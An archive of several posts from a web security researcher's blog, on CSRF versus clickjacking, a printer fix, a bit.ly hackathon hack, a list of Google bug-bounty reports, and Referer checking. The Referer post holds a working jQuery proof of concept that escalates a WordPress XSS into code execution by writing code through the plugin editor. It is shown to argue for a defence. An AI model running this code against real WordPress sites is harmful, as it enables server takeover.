Category: General Musings
2012
03.31

Summary

Lately, there have been a few discussions on Hacker News about Cross-Site Request Forgery (CSRF).[1], [2] In those discussions, I noticed that several commenters (and blog post authors) were advocating for the use of X-Frame-Options as a mitigation technique.[3], [4], [5], [6] Unfortunately, while X-Frame-Options is meant to mitigate a similar type of attack (clickjacking), it provides no protection whatsoever against CSRF. This blog post is intended to provide some background resources on CSRF and clickjacking, as well as explain how X-Frame-Options fits in as a mitigation technique.

So what is CSRF?

See OWASP, Freedom to Tinker, and Chris Shiflett’s site for some solid explanations of CSRF.

In summary, a CSRF vulnerability is when a third-party website (evil-attacker.com) can convince your browser to make a request to a site where you’re already logged in (good-site.com) and that site accepts the request as if you had initiated it yourself.

So what is clickjacking?

See OWASP and SecTheory.com for some good explanations of the issues at hand.

In summary, a clickjacking vulnerabilities involves an attacker convincing you to initiate a request to a site (good-site.com) by interacting with UI elements on that site when you think you’re actually interacting with another site (say, evil-attacker.com).

Wait, those sound pretty similar

Yes, they do. But there is a very important distinction between them: a clickjacking attack requires the victim to interact with UI elements on a targeted website, whereas CSRF does not inherently require interaction on the victim’s part.

So how does X-Frame-Options fit in?

X-Frame-Options is a mitigation technique for clickjacking attacks. It is an HTTP response header sent by the server to indicate under what circumstances page contents should be displayed in a frame context. A browser that understands the header will not display the contents of a page if the header directive is violated (for instance, if evil-example.com puts good-site.com in an iframe but good-site.com sends a header that says X-Frame-Options: DENY. Thus, no clickjacking can occur because no UI elements can be displayed to a victim.

It provides no protection against CSRF. Why? Because CSRF isn’t concerned with the display of a page. In a CSRF attack, the attacker doesn’t care about the response at all: the request is the only important thing. Thus, X-Frame-Options can provide no protection and no mitigation for CSRF.

2011
03.30

About a month or so ago, my Dad’s HP Officejet L7580 stopped working: some paper had gotten jammed in it. Although I cleaned it out thoroughly, the printer still refused to acknowledge that the jam was cleared. After spending several days trying to clear the phantom jam, we ended up buying a new printer (the L7580 having long since been out of warranty).

Then today, I decided to take another crack at fixing the printer. After a lot of false starts and dead ends from Google, I managed to stumble upon a very helpful post on fixya.com:

Here’s another from the Hp Forum, but I myself have tried once, but if it’s actual paper jam, this wont help. If in case there’s mechanical issue, this will definitely help you..
Tools: (2) Medium sized paper clips
Preferable Tools: (1) Pair of pliers with rubber grips
(2) Edged tool such as wall paper knife, metal pick or toothpick to clean out gear teeth.

This fix applies to paper jams the device believes are in the rear duplexer and often occurs after a real jam that has shredded the paper inside the mechanism.
Despite the fact you’ve carefully cleaned out all the visible paper from inside with the cover open, paper can jam the gears used to drive the rear rollers and even the tiniest amount of shred prevents operation resulting in the impossible Paper Jam error.
HP Tech Support online and on the phone don’t troubleshoot it past “clear the paper from the device than try again please” b.s.
After removing the duplexer, grip any of the four rubber rollers and attempt to rotate in either direction, if they don’t move freely with little effort, then continue with these instructions.
 Begin:

  1. Take the first paper clip and contact the lower two brass rectangles, this fools the device into believing the duplexer is installed, keep the contacts bridged (don’t remove your hand or the paper clip until Step 4.) There’s no electrocution risk.
  2. Press the “OK” button on the control panel to pretend the paper jam is cleared.
  3. Carefully observe the pair of white gears on the left, if they seem to clutch, stall, skip or freeze then you have paper shards which are causing the jam.
  4. Using a firmer grip or pliers, grip the furthest left rubber roller and rotate in either direction , the gears should rotate with your efforts and look for shards of paper in the gear teeth.
  5. Use the paper clip, toothpick or any appropriate edged tool to clear the shards.

Bridge the lower contacts again and observe if the gears rotate freely, if so then you’ve cleared the insidious jam should be able to print until the next error from this piece of chit printer.

I decided to test it out, since it was the first new suggestion I’d come across. After bridging the connectors, I saw that the gears were indeed jammed. I got a screwdriver and applied pressure: the gears moved and I saw little scraps of paper! Lo and behold, after I got all of the scraps of paper out, the printer was completely back to normal. :-)

2011
01.31

Preface

Last year, I attended my first security conference: QuahogCon. I had never been to a conference before but I had a great time listening to and learning from all the speakers. I especially enjoyed the opening keynote, which was given by Dan Kaminsky. The topic of the talk was “web defense”: the slides can be found here.

The talk covered a lot of ground, but one of the areas Dan touched on briefly was the Referer header. He reminded the audience that the Referer header is difficult to use as a security feature because it isn’t reliably passed to the server (due to filtering by proxies and other client software, browser-specific behaviors that control when referrer information is passed, etc). However, he also made the point that people are often warned to avoid using the header due to security concerns which are no longer valid. To quote the slides:

  • Many Content Management Systems have attempted to use Referer checking to stop XSRF and related attacks
  • We tell them not to do this, for “Security Reasons”

  • Amit et al fixed this years ago

  • There are no known mechanism for causing a browser to emit an arbitrary Referer header, and hasn’t been for quite some time.
    • More importantly, if one is found, it’s fixed, just like a whole host of other browser bugs

Despite its unreliable nature, the Referer header provides information that can not be gotten from other sources; there is no other way for the server to know from what location a request was submitted. As the rest of this post will illustrate, using the Referer header properly can partially mitigate the impact of a cross-site scripting attack: ignoring it can allow an attack to escalate and become much worse.

An Example

[Note: Although I’m sure people will use this post to argue that Wordpress is insecure, it’s worth noting that a similar proof of concept could be built against any web application that does not verify the Referer header as a form of CSRF protection. This kind of attack is in no way Wordpress specific.]

Wordpress makes extensive use of HttpOnly cookies, randomized nonces, and other security measures to protect itself against CSRF and session hijacking attacks. However, it is still possible for an attacker to sidestep all of those protections by making use of XMLHttpRequest, using GETs to retrieve nonces and POSTs to submit requests. Of course, XMLHttpRequest is meant to be able to make same-origin requests: there is nothing inherently wrong with that. Unfortunately, that behavior also poses a security risk: if an attacker can find and exploit an XSS vulnerability on the same domain as a Wordpress installation, that attacker can use XMLHttpRequest to make same-origin requests. That means an XSS vulnerability in any part of the system allows for a CSRF attack against the entire system.

People familiar with Wordpress may also realize that Wordpress administrators are given a wide range of abilities through the backend of their site. Those abilities include editing PHP files on the filesystem, assuming the files are writable by the web server. That won’t be true for all Wordpress installations, but there are many cases in which administrators may (intentionally or unintentionally) allow for such behavior. Although as of last year the file editor functionality can be disabled by defining a constant (DISALLOW_FILE_EDIT), Wordpress does not define this constant by default (see ticket #11306 and changeset 13034).

Now, lets take a moment and summarize the ideas presented here so far:

  1. Given an XSS vulnerability, it’s possible for an attacker to make requests to Wordpress
  2. Administrators can edit files on the web server through a web interface

See where I’m going with this? ;-)

A Demonstration

Here’s a proof of concept that uses jQuery. One GET to grab the correct nonce and other fields from the plugin editor, one POST to append arbitrary code to a PHP file. Voila: an XSS vulnerability has become arbitrary code execution.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

        <title>Wordpress XSS => Arbitrary Code / Command Execution PoC</title>
        <script type="text/javascript" src="http://www.google.com/jsapi"></script>

        <script type="text/javascript">
        var base = "/wordpress-3.0.3/wordpress";
        var code = "<?php /*code goes here */ ?>"

        google.load("jquery", "1.4.4");
        google.setOnLoadCallback(function() {
            $.get(base + '/wp-admin/plugin-editor.php?file=index.php', function (data) {
                var postData = $('#template', data).serialize();

                postData = postData.replace('&amp;action=', encodeURIComponent(code) + '&amp;action=');

                $.post(base + '/wp-admin/plugin-editor.php', postData);
            });
        });
        </script>
    </head>
    <body>
        <p>Hello!</p>
    </body>
</html>

This code (adapted somewhat) could be used in conjunction with any XSS vulnerability in Wordpress or any XSS vulnerability in any other application running on the same domain as a Wordpress installation.

In fact, users with the Editor role in Wordpress have the ability to use unfiltered HTML. They can perform an “XSS attack” against an administrator without any need for an underlying vulnerability. Of course, Wordpress administrators should only be giving editor privileges to people who they feel they can trust. Then again though, what happens if a hacker gains access to an editor’s account?

But how does the Referer help?

The example above relies on the fact that an attacker can use XmlHttpRequest to make valid requests to any page on the targeted server. Verifying the Referer header means that, if an XSS vulnerability exists on a given page, an attacker is limited to submitting requests that a user could normally submit from that page. For instance, if there were an XSS vulnerability in the comments section of a Wordpress site, an attacker would not be able to make POST requests to the plugin editor, or the user manager (to make themselves an administrator), etc. An attacker would be limited to actions like approving a comment, marking a comment as spam, etc.

Of course, I don’t claim that checking the Referer mitigates XSS or CSRF vulnerabilities: at best, it limits the ways in which an XSS vulnerability can be used to cause a more serious security breach. XSS vulnerabilities in sensitive locations like file editors are still just as dangerous. And if you strictly enforce the policy, which you have to do if you want it to be effective, you’ll be locking out users who don’t send a Referer header.

Final Thoughts

I’m far from the first person to notice that an XSS vulnerability can be used to bypass CSRF protections. For instance, Jesse Burns wrote a very thorough paper on CSRF back in 2005 that makes reference to the relationship between XSS and CSRF.

XSS flaws may allow bypassing of any of XSRF protections by leaking valid values of the tokens, allowing referrer’s to appear to be the application itself, or by hosting hostile HTML elements right in the target application.

As I mentioned earlier, Wordpress is not the only web application vulnerable to this kind of attack: any application that fails to validate the Referer header can fall victim to this type of vulnerability escalation. If people have other examples of applications where an XSS vulnerability can have extraordinary consequences, I’d be very interested to hear about them. :)

If you have any opinions, comments, or questions, please post them below!

Update: The comments have raised a couple interesting points.

  1. I’m not the only person to have run across this problem with Wordpress! ;-) In fact, commenter felixaime wrote a post (in French) about the same issue back in October.
  2. It turns out that it may be possible to “forge” the Referer header, to a degree. Commenter lava points out that by loading a page in an IFrame and using JavaScript to manipulate the contents of the page, it may be possible to bypass the kind of Referer checking I described. Definitely worth investigating!
2010
12.17

Over the past several weeks, I’ve been an active participant in Google’s Web Vulnerability Reward Program. I’ve been writing blog posts about each of the vulnerabilities I’ve reported, publishing them once I’m told that the vulnerability has been patched. I’ve also been keeping up with posts that others have written and submitted to places like /r/netsec, /r/xss, and Hacker News. The posts, in aggregate, have explored many areas of web application security: XSS attacks of varying design, CSRF vulnerabilities, HTTP response splitting, clickjacking, etc. However, the program has attracted quite a large number of participants; I’m sure that I’ve seen only a small fraction of what people have posted.

Thus, the idea for this post came into being. My intention is to find and link to reports that people have written about vulnerabilities found as a part of this program. I’ve done a bit of searching and compiled a few links to start with (I’ve ordered them by the date they were posted). If anyone has suggestions for links to add, post in the comments and let me know: I’ll update the post with them.

Title Summary / Notes Posted
Google Calendar CSRF
https://nealpoole.com/blog/
Google Calendar was vulnerable to a series of CSRF vulnerabilities. In at least two separate instances, existing countermeasures (CSRF tokens) were not being validated by the application. 2010-11-30
Google.com XSSHTML Code Injection
http://tinkode27.baywords.com/
Google Maps contained an XSS vulnerability in its “Change default location” feature. The “HTML Code Injection” vulnerability referenced is not a bug: Google Translate has its content properly sandboxed (as the post indicates), mitigating the effects of any vulnerability. 2010-12-01
Google Scholar CSRF
https://nealpoole.com/blog/
Google Scholar was vulnerable to minor but potentially annoying CSRF vulnerabilities in two different pages. The regular search equivalents of both of these pages used CSRF tokens to mitigate these problems. 2010-12-07
Google.com XSS / Google Spreadsheets Clickjacking
http://securitylab.ru/
[English]
Google.com was vulnerable to an XSS attack (the exact details are unclear). It also appears that it was possible to perform a clickjacking attack using a Google Spreadsheet. 2010-12-08
Google XSS Flaw in Website Optimizer Scripts explained
http://www.acunetix.com/blog/web-security-zone/
Google’s Website Optimizer produced “control scripts” that caused websites to become vulnerable to XSS attacks. The attack required that the site already be vulnerable to a cookie injection vulnerability (discussed in more detail in the comments). 2010-12-09
Finding security issues in a website (or: How to get paid by Google)
http://adblockplus.org/blog/
Four different vulnerabilities: one basic XSS in YouTube Help, one XSS in onclick attributes, one HTTP Response Splitting vulnerability, and one last XSS in a tooltips script for Website Optimizer. 2010-12-11
Gmail+Google Chrome XSS Vulnerability
http://spareclockcycles.org/
Gmail contained an XSS vulnerability in the way it handled attachment names in Google Chrome. 2010-12-14
XSS in YouTube
http://www.ebanyu.com.ar/
[English]
YouTube’s inbox allowed an attacker to turn a JSON response into an XSS vector. The attacker needed to know the target’s session token in order to exploit the vulnerability. 2010-12-14
New Google Groups, Non-Persistent XSS
https://nealpoole.com/blog/
The new Google Groups interface contained an XSS vulnerability in its search functionality. The vulnerability required some user interaction to be activated. 2010-12-17
DoubleClick HTTP Header Injection / XSS
http://www.cloudscan.me/
The Doubleclick Ad CDN was vulnerable to HTTP Header Injection and cross site scripting attacks. 2010-12-21
XSS in Google Support Contact Form
https://nealpoole.com/blog/
One page in Google’s Help Center was vulnerable to a reflected cross-site scripting attack. 2010-12-21
Security Token Prediction in Google Scholar Alerts
http://www.garage4hackers.com/
Google Scholar’s Alerts feature used predictable security tokens in its URLs. This weakness allowed an attacker to create / list / delete alerts on behalf of other users. 2011-01-05
XSS in Google Shopping, Maps and Blogs
http://apoup.blogspot.com/
Google Shopping, Google Maps, and Google Blog Search were vulnerable to an unspecified cross-site scripting attack. There are more details available on the reporter’s blog (in the original Japanese and in English). 2011-01-27
XSS Vulnerability in Google Code Static HTML
https://nealpoole.com/blog/
Google Code contained a static HTML page that was vulnerable to a reflected, DOM-based XSS vulnerability. 2011-02-01
XSS in Google Analytics via Event Tracking API
http://spareclockcycles.org/
Google Analytics was vulnerable to a persistent XSS attack. A malicious attacker could generate fake events containing malicious HTML that would be executed on the Analytics dashboard. 2011-02-03
Non-Persistent XSS in Aardvark
https://nealpoole.com/blog/
Aardvark contained several reflected, DOM based XSS vulnerabilities. Due to CSRF protections, exploiting these vulnerabilities remotely was non-trivial. 2011-02-03
Persistent XSS in Google Baraza / Ejabat
https://nealpoole.com/blog/
Google Baraza (www.google.com/baraza/) and Google Ejabat (ejabat.google.com) were vulnerable to a persistent XSS attack. A malicious user could create a post that would trigger JavaScript when an image or link was clicked on. 2011-02-03
Persistent XSS in Blogger Design Preview
https://nealpoole.com/blog/
Blogger’s Design Preview functionality served up author-generated content in the context of blogger.com, allowing an author to perform an XSS attack against a blog administrator. 2011-02-03
Multiple Vulnerabilities in Google Applications
http://d.hatena.ne.jp/masatokinugawa/
[English]
The post covers three different types of vulnerabilities that the author came across. 2011-02-07
Persistent XSS in Google Finance
http://benhayak.blogspot.com/
Google Finance did not properly escape the names of user-created portfolios when using them in JavaScript. As a result, it was possible to craft a name that would cause XSS. 2011-02-16
Persistent XSS in Google Website Optimizer
http://benhayak.blogspot.com/
By using javascript: URIs in place of regular URLs when creating an experiment, the author of the post was able to craft a persistent XSS attack. 2011-02-27
Reflected MHTML Injection in Google Support (mail.google.com)
http://www.wooyun.org/ [English]
It was possible to inject a valid mhtml document into a support page hosted on mail.google.com. As a result, IE users who browsed to a malicious URL using the mhtml protocol handler could have trigger an XSS attack. 2011-03-03
How I Almost Won Pwn2Own via XSS
http://jon.oberheide.org/blog/
The Android Market was vulnerable to an XSS attack due to a lack of output sanitization. Due to how the Android platform works, the vulnerability could have been used to download and execute arbitrary code onto phones. 2011-03-07
Gaining Administrative Privileges on any Blogger.com Account
http://www.nirgoldshlager.com/
Blogger was vulnerable to an HTTP Parameter Pollution vulnerability. By providing the blogID twice in the request (once with a blogID controlled by the attacker and once with a blogID controlled by the victim) it was possible to make requests on behalf of a blog where you were not authorized. 2011-03-10
Reflected XSS in mail.google.com
http://www.cloudscan.me/
Gmail did not properly sanitize input provided by the user in the URL and the cookie. As a result, it was vulnerable to several reflected cross-site scripting attacks. 2011-03-30

Let me know what you think in the comments!

Update (12/21/2010): The comments have spoken and I’ve added a new vulnerability to the list.

Update 2 (12/21/2010): Adding another vulnerability that I reported to the list.

Update 3 (1/6/2011): fb1h2s emailed me about a vulnerability he reported. It has been added to the end of the list.

Update 4 (1/27/2011): We have another vulnerability report submitted via the comments.

Update 5 (2/3/2011): Five new reports have been added to the list, all of them XSS vulnerabilities!

Update 6 (3/4/2011): Three new reports have been added to the list.

Update 7 (3/7/2011): Added a cool new report about an XSS vulnerability in the Android marketplace

Update 8 (3/10/2011): Nir Goldshlager has written in with a link to his first report, an authentication bypass / HTTP Parameter Pollution vulnerability in Blogger.

Update 9 (3/30/2011): New Gmail XSS. Super happy fun time.

2010
12.02

What is it?

A few weeks ago, I went to a hackathon (hackabit) hosted by bit.ly. Originally, I planned to spend my time working on some personal projects: however, once I got to bit.ly’s offices, I decided to embrace the spirit of the event and work on a project related to bit.ly’s API.

After some consultation with my friend Paul Kernfeld, I began working on bit.ly File Storage (available on github). The idea was fairly simple: files get broken up into chunks, the chunks are stored on bit.ly, and the chunks can be reassembled from a single bit.ly URL.

How does it work?

To start with, I determined that bit.ly could store 2048 total characters in a URL. I also realized that bit.ly would store arbitrary data if it was put in the query string of a URL. So, the first thing I decided was to prefix all my content with ftp://?, to minimize the space taken up by unnecessary data (notice that I didn’t need a hostname: not sure why that was considered optional).

I also ended up base64-encoding the chunks of data, since I wasn’t sure how binary data would interact with the bit.ly API and I didn’t want to find out. I chose to take chunks 1024 bytes long: despite the size increase caused by base64-encoding I probably could have taken larger chunks of data, but I wasn’t particularly worried about the efficiency of the implementation.

Finally, once the chunks were encoded (and turned into bit.ly short URLs), I needed a way to turn them into a single URL. I decided on a binary tree structure because it was simple to implement and provided an easy way for me to expand the data on the other end (via in-order traversal).

I grouped the URLs into pairs: the first two were a pair, the second two were a pair, etc. I then asked bit.ly to generate a short URL for a long URL that looked something like http://?base64_encode(first-url|second-url) (the base64-encoding was not strictly necessary). If there were an odd number of URLs, the last URL on the list would simply be added on to the list of newly generated URLs. I repeated that process on each list of newly generated URLs, building each level of the tree until finally there was only one element: the root.

From the root, it was possible to retrieve the data via the following process:

  1. Call the bit.ly API to get the expanded version of the current node/URL.
  2. If the URL starts with ftp://?, we’ve reached a piece of the file (a leaf node). base64 decode it and echo it out.
  3. If the URL starts with http://?, there’s still more to do. base64 decode the content, split on the pipe character, and then visit the left (and then the right) URL (go to step 1).

I packaged the code as two CLI PHP applications, using an existing bit.ly API wrapper. The end result, excluding the API wrapper, contained fewer than 100 lines of code. I submitted it to the contest email address and headed home.

What happened?

This morning, I got an email telling me I had tied for second place in the contest, which blew me away. I went to the bit.ly blog and I read the following (you can read the announcement here):

* bit.ly File Storage (http://bit.ly/hx2kAc) - A hack for storing data with bit.ly.

We were especially impressed by the use of a binary tree for data retrieval with a single bit.ly URL! While this is not necessarily a use of bit.ly that we would encourage, credit is due for cleverness and chutzpah.

Cleverness and chutzpah? I’ll take it :-)

I also found out that there’s an existing project, furl, which does similar things using other URL shorteners: http://code.google.com/p/furl/.

2010
11.30

When a friend of mine told me about Google’s new vulnerability reward program for web applications, my first reaction was a mix of excitement and skepticism. On the one hand, I love web application security and penetration testing: this program was right up my alley (especially given my recent abundance of free time). On the other hand, I had never run across a security vulnerability in a Google application before: I wasn’t sure that I would find anything, even if I looked hard.

As it turned out, I needn’t have worried: I spent many hours testing various Google webapps, but I also found plenty of vulnerabilities. ;-)

Under the terms of the program (and the rules of responsible disclosure), I will not be discussing the details of any vulnerabilities until they are fully resolved. Once the Google Security Team has confirmed to me that a particular issue has been dealt with, I will be doing a little writeup about it on this blog (a full list of the writeups can be found here). Hopefully people will find the writeups informative. :-)

2010
08.09

If you have an Excel spreadsheet containing first and last names, how do you convert those names to email addresses (following the format First.Last@example.com)?

If you’re a programmer, maybe you use something like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php

header("Content-type: text/plain");

$names = explode("\n", $_POST['names']);

foreach ($names as $cur_name)
{
    echo str_replace(' ', '.', strtolower(trim($cur_name))) . '@example.com' . "\n";
}

But maybe you’re not a programmer. Maybe you’ve never done any programming before in your life. If that’s the case, how do you solve a problem like this? Maybe I’m missing something obvious, but there doesn’t seem to be a simple way to do it (maybe there’s some kind of Mail Merge feature in Excel that could handle it?).

These kinds of problems crop up all the time in the real world. As a programmer, I often find myself writing small scripts and/or piping together some command-line tools to solve tasks like these; at this point, it’s almost second nature. Unfortunately, I realize that a lot of these tasks are much more difficult for people who don’t know how to program. Instead of writing a simple script, the user ends up looking for an application or tool that provides the functionality they need. If they can’t find it, they’re forced to perform the task manually or give up.

My advice for dealing with these kinds of tasks? Take an introductory computer science course and learn how to program, at least a little bit. Even if you never plan to use those skills again, you never know when they might come in handy.

Of course, it also doesn’t hurt to be friends with someone who knows how to program ( ;) ). I can’t speak for everyone, but I’m more than happy to write simple scripts to help my friends out. In fact, remember that PHP script at the top of the page? I originally wrote it for one of my friends. :-)

2010
06.20

I’ve been meaning to add some content to this website for a while now. :)

Lets see if anything of value actually comes out of this experiment. :P